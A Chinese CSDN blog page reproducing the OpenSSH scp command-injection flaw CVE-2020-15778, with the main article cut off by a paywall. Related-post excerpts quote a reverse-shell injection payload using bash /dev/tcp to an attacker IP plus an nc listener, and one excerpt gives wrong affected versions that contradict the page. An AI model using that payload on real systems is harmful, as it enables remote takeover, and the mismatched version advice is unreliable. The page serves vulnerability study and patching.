CVE-2020-15778 OpenSSH命令注入漏洞复现

最新推荐文章于 2024-05-16 15:10:51 发布
最新推荐文章于 2024-05-16 15:10:51 发布
阅读量488 收藏 2
点赞数 1
分类专栏： 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50359752/article/details/111367070
版权

CVE-2020-15778 OpenSSH命令注入漏洞复现

漏洞描述

OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听，连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发， 并以BSD样式的许可证提供，且已被集成到许多商业产品中。OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。

影响版本

OpenSSH<=8.3p1

环境部署

攻击机：Linux kali 5.3.0：192.168.43.63

靶机：Linux ubuntu 4.4.0：192.168.43.163

漏洞复现

一、确认靶机OpenSSH版本是否在漏洞影响范围内

(img-ggydmcHO-1608275020418)(C:\Users\hp\AppData\Roaming\Typora\typora-user-images\image-20201218095439625.png)]

二、远程拷贝文件

scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令

它的命令格式：

scp local_file remote_username@remote_ip:remote_file

1.首先在攻击机的/

最低0.47元/天 解锁文章
zyl404
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2020-15778 openssh漏洞修复
N07ME的博客
12-11 6825
漏洞描述 https://access.redhat.com/security/cve/cve-2020-15778 简单来说，就是scp命令是可以注入特殊字段，在目标主机上执行指令的。 原理是因为scp是通过ssh实现的，一样的需要用户名和密码才能登陆。也就是说，这个漏洞其实针对的是那些禁用了ssh但是没禁用scp的主机，针对这些主机，可以从外部通过scp实现和ssh一样的功能。 漏洞修复方案 1.升级到openssh-8.4以上的版本 （要求操作系统版本在centos 8及以上） 2.禁用scp命令 m
OpenSSH命令注入漏洞(CVE-2020-15778)
热门推荐
qq_42947816的博客
02-09 2万+
一般在特定环境下利用，比如在知道SSH账户密码后，但禁用SSH登陆或SSH连接被阻止，服务器允许使用scp传文件的情况下，可对其进行命令注入，所以如果攻击者不知道ssh账密，此漏洞无法利用。
OpenSSH 命令注入漏洞(CVE-2020-15778)修复教程_openssh_8
最新发布
m0_60607927的博客
05-16 379
最全的Linux教程，Linux从入门到精通第一份《Linux从入门到精通》466页内容简介====本书是获得了很多读者好评的Linux经典畅销书**《Linux从入门到精通》的第2版**。本书第1版出版后曾经多次印刷，并被51CTO读书频道评为“最受读者喜爱的原创IT技术图书奖”。本书第﹖版以最新的Ubuntu 12.04为版本，循序渐进地向读者介绍了Linux 的基础应用、系统管理、网络应用、娱乐和办公、程序开发、服务器配置、系统安全等。本书附带1张光盘，内容为本书配套多媒体教学视频。
OpenSSH_8.3-命令注入漏洞攻击与修复(CVE-2020-15778)
sinat_42508733的博客
05-27 1325
OpenSSH_8.3及如下-命令注入漏洞攻击与修复 漏洞：CVE-2020-15778 2020年6月9日发现漏洞，2020年7月18日公开漏洞。web 攻击原理 使用SCP中远程功能进行命令注入。shell 漏洞复现要求 OpenSSH版本 =<8.3p1安全 ssh链接密码bash 攻击环境 攻击方：kali：192.168.0.130 服务器 靶机： CentOS7:192.168.0.187 ssh 攻击测试 kali：tcp 上传任意文件到靶机上，文件容许为空，由于上传的文件不是主角。而是
15k运维面试题带答案分享_mysql的账号root, 密码123 ,数据库名字test_db
2401_83944596的博客
04-14 567
mysql的账号root， 密码123 ，数据库名字test_db. 端口3310 主机地址 10.10.1.1 请写出备份此数据库的命令。2、在工作中，运维人员经常需要跟运营人员打交道，请问运营人员是做什么工作的?6、Squid、Varinsh和Nginx有什么区别，工作中你怎么选择?5、LVS、Nginx、HAproxy有什么区别?9、讲述一下Tomcat8005、8009、8080三个端口的含义？7、Tomcat和Resin有什么区别，工作中你怎么选择?15、讲述一下LVS三种模式的工作过程?
CVE-2020-15778漏洞修复方案
qq_33470881的博客
03-25 6911
CVE-2020-15778漏洞修复方案 临时缓解措施： 可以禁用scp，改用rsync等缓解风险（可能会导致小文件机器内拷贝变慢） 禁用scp命令(此方法不影响ssh使用) mv /usr/bin/scp /usr/bin/scp.bak 恢复scp命令 mv /usr/bin/scp.bak /usr/bin/scp ...
CVE-2020-15778漏洞-——快速升级——openssh8.6.p1.tar.gz
06-21
OpenSSH 命令注入漏洞(CVE-2020-15778),文件包含installs.sh、openssh-8.6p1.tar.gz、openssl-1.1.1k.tar.gz、zlib-1.2.11.tar.gz。升级时候将openssh.tar.gz放至/home下解压，进入openssh目录，执行chmod +x ...
OPENSSH漏洞(CVE-2020-15778 CVE-2018-15473、CVE-2018-15919)修补文件命令
03-31
本篇将详细讨论如何修补OpenSSH中的几个已知漏洞，包括CVE-2020-15778、CVE-2018-15473、CVE-2018-15919。 首先，让我们了解这些特定的漏洞： 1. CVE-2020-15778：这是一个与OpenSSH密钥协商过程相关的漏洞，可能...
CVE-2020-13925 Apache Kylin 远程命令执行漏洞.md
04-12
CVE-2020-13925 Apache Kylin 远程命令执行漏洞
在Linux上利用scp上传文件一直报告‘no such files or directiony ‘
qq_44211389的博客
03-11 3016
在Linux上利用scp上传文件一直报告’no such files or directiony ’ 具体什么原因不太清楚 但是我发现为原来一直在服务器上上传文件（user到host），就一直报错，然后我用了自己的user@user：scp 。。。就成功了（我的是junjunjun@junjunjun:） junjunjun@junjunjun:~$ scp -r /home/junjunjun/Projects/w.py zhangjunkai@xxx.xx.xx.xx:~/ zhangjunkai@1
CVE-2020-15778 OpenSSH命令注入漏洞
qq_48257021的博客
03-26 1069
OpenSSH是 SSH（Secure SHell） 协议的免费开源实现。SSH协议族可以用来进行远程控制，或在计算机之间传送文件。而实现此功能的传统方式，如telnet(终端仿真协议)、rcpftp、rlogin、rsh都是极为不安全的，并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具，用来加密远程控制和文件传输过程中的数据，并由此来代替原来的类似服务。
OpenSSH 命令注入漏洞(CVE-2020-15778)
旺仔Sec&blog
12-16 7704
介绍 2020年6月9日，研究人员Chinmay Pandya在Openssh中发现了一个漏洞，于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令，攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估，作出漏洞通告。 漏洞影响版本 OpenSSH =< 8.3p1 漏洞复现要求 OpenSSH =< 8.3p1 需要知道ssh密码 搭建环境 centOS 7 IP：192.1..
查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)
weixin_39707536的博客
12-06 1599
OpenSSH命令注入漏洞复现(CVE-2020-15778)目录漏洞描述漏洞等级漏洞影响版本漏洞复现修复建议▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听，连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发， 并以BSD样式的许可证提供，且已被集成到许多商业产品中。 2020年6月9日，研...
CVE-2020-15778漏洞复现
臭nana的博客
08-04 1万+
产品：Openssh 影响的组件：SCP 漏洞版本：<= openssh-8.3p1 scp命令引发的命令注入 反弹shell的payload scp 1.txt cracer@受害机ip:'`bash -i >& /dev/tcp/攻击机ip/4444 0>&1`/tmp/test.txt' 实战测试，这里使用本机进行测试 1、查看ssh版本，符合漏洞版本 ssh -V 2、先在本地新建好文件，用于上传 2、本地开启监听 3、使用s.
红队渗透笔记之利用OpenSsh完成root劫持以及持久化利用
明光札记
12-05 852
下文将介绍如何使用OpenSsh完成； 1、root任意密码设置 2、将用户名与密码记录到log中 准备工作 1、明确ssh版本方便等将后续安装的openssh的版本号修改为原版本号 ssh -V 2、将原有ssh文件进行备份，方便一会为新安装的openssh同步时间属性 # 1、为了保存源文件的信息我们先做改名操作，后复制改名后的文件为源文件的样子（注意.bak文件保留着文件的原属性） mv /etc/ssh/ /etc/ssh.bak/ mv /usr/sbin/sshd /usr/sbin/.
OpenSSH命令注入漏洞（CVE-2020-15778）复现
锋刃科技的博客
09-17 1728
简介 OpenSSH是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效防止窃听、连接劫持以及其他攻击。 影响版本 <= openssh-8.3p1 漏洞复现 查看版本 ssh -V 开启22端口服务 先在本地新建好文件，用于上传 本地监听 nc -lvvp 4444 payload scp 1.txt root@受害机ip:'`bash -i >& /dev/tc..
openssh 命令注入漏洞(cve-2020-15778)
05-26
您好，关于openssh命令注入漏洞(cve-2020-15778)，这是一个影响OpenSSH版本7.2到7.9p1的漏洞，攻击者可以利用该漏洞在受害系统上执行任意命令。建议用户及时升级OpenSSH版本到7.9p1或更新版本，并且在防火墙等安全...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值